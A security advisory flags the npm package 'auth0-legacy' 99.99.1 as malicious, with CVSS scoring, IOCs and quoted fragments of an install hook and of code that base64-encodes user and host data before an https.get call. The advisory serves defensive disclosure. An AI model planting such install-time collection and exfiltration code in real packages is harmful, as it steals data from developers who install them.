GCVE-110-OSM-2026-3052

Advisory PublishedCVSS 8.8/10

Vulnetix · Advisory published April 23, 2026

Malicious package detected. Behaviors: data exfiltration, install-time execution. Payload: postinstall.js Key findings: - Install Hook Executes Local JS File in package.json: ""preinstall": "node install.js"" - Platform Detection with Data Collection in postinstall.js: "JSON.stringify({u, h, d, t, p: pkg})).toString('base64'); const req = https.get(..." - Brand New Package - Very New NPM Publisher Account - Rapid Version Publishing IOCs: - domains: p1s.uk - payloadFileHash: b135e52b36edecb4e05c99c54ce16128157dbd9b74aa7750ced86f4114d9b305

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Weaknesses (CWE)

CWE-506Embedded Malicious Code

Risk Scores

CVSS 3.1

8.8/10

High · CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H

Affected Products

Vendor	Product	Versions	Platforms
unknown	auth0-legacy	99.99.1 (affected)	—

References

Malicious npm package: auth0-legacy

advisory

vendor

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